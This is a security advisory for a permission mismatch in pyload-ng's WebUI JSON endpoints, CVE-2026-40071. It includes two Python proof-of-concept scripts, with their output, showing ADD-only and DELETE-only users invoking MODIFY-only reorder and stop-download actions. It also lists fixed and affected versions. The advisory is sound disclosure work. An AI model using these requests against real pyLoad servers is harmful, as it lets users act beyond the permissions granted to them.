All vulnerabilities
CVE-2026-40071GHSA-rfgh-63mg-8pwmPYSEC-2026-2997

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

pyload pyload-ngpipLibraries & packages
CVSS
5.4Medium
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 10 Apr 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.22%Chance of exploitation activity in the next 30 days, higher than 12% of CVEs. Scored 26 Oct 2026FIRST EPSS
Fixed in0.5.0b3.dev97Fixed versionGitHub
Published9 Apr 2026Updated 26 Oct 2026CVE List

What fixes it

  • 0.5.0b3.dev97pyload-ng, pipGitHub
  • 0.5.0b3.dev97pyload-ng, PyPIOSVpip install "pyload-ng>=0.5.0b3.dev97"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
  • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
  • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type:

  • Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:

  • Horizontal privilege escalation among authenticated non-admin users.
  • Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact:

  • Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
  • Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Text from GitHub Advisory Database

Affected versions 53

  • pyload-ng, pip< 0.5.0b3.dev97GitHub
  • pyloadaffected: < 0.5.0b3.dev97CVE List
  • pyload-ng, PyPIfrom first release, fixed in 0.5.0b3.dev97OSV
  • pyload-ng, PyPI0.5.0a5.dev528OSV
  • pyload-ng, PyPI0.5.0a5.dev532OSV
  • pyload-ng, PyPI0.5.0a5.dev535OSV
  • pyload-ng, PyPI0.5.0a5.dev536OSV
  • pyload-ng, PyPI0.5.0a5.dev537OSV
  • pyload-ng, PyPI0.5.0a5.dev539OSV
  • pyload-ng, PyPI0.5.0a5.dev540OSV
  • pyload-ng, PyPI0.5.0a5.dev545OSV
  • pyload-ng, PyPI0.5.0a5.dev562OSV
  • pyload-ng, PyPI0.5.0a5.dev564OSV
  • pyload-ng, PyPI0.5.0a5.dev565OSV
  • pyload-ng, PyPI0.5.0a6.dev570OSV
  • pyload-ng, PyPI0.5.0a6.dev578OSV
  • pyload-ng, PyPI0.5.0a6.dev587OSV
  • pyload-ng, PyPI0.5.0a7.dev596OSV
  • pyload-ng, PyPI0.5.0a8.dev602OSV
  • pyload-ng, PyPI0.5.0a9.dev615OSV
  • pyload-ng, PyPI0.5.0a9.dev629OSV
  • pyload-ng, PyPI0.5.0a9.dev632OSV
  • pyload-ng, PyPI0.5.0a9.dev641OSV
  • pyload-ng, PyPI0.5.0a9.dev643OSV
  • pyload-ng, PyPI0.5.0a9.dev655OSV
  • pyload-ng, PyPI0.5.0a9.dev806OSV
  • pyload-ng, PyPI0.5.0b1.dev1OSV
  • pyload-ng, PyPI0.5.0b1.dev2OSV
  • pyload-ng, PyPI0.5.0b1.dev3OSV
  • pyload-ng, PyPI0.5.0b1.dev4OSV
  • pyload-ng, PyPI0.5.0b1.dev5OSV
  • pyload-ng, PyPI0.5.0b2.dev10OSV
  • pyload-ng, PyPI0.5.0b2.dev11OSV
  • pyload-ng, PyPI0.5.0b2.dev12OSV
  • pyload-ng, PyPI0.5.0b2.dev9OSV
  • pyload-ng, PyPI0.5.0b3.dev13OSV
  • pyload-ng, PyPI0.5.0b3.dev14OSV
  • pyload-ng, PyPI0.5.0b3.dev17OSV
  • pyload-ng, PyPI0.5.0b3.dev18OSV
  • pyload-ng, PyPI0.5.0b3.dev19OSV
  • pyload-ng, PyPI0.5.0b3.dev20OSV
  • pyload-ng, PyPI0.5.0b3.dev21OSV
  • pyload-ng, PyPI0.5.0b3.dev22OSV
  • pyload-ng, PyPI0.5.0b3.dev24OSV
  • pyload-ng, PyPI0.5.0b3.dev26OSV
  • pyload-ng, PyPI0.5.0b3.dev27OSV
  • pyload-ng, PyPI0.5.0b3.dev28OSV
  • pyload-ng, PyPI0.5.0b3.dev29OSV
  • pyload-ng, PyPI0.5.0b3.dev30OSV
  • pyload-ng, PyPI0.5.0b3.dev31OSV
  • pyload-ng, PyPI0.5.0b3.dev32OSV
  • pyload-ng, PyPI0.5.0b3.dev33OSV
  • pyload-ng, PyPI0.5.0b3.dev34OSV

References 6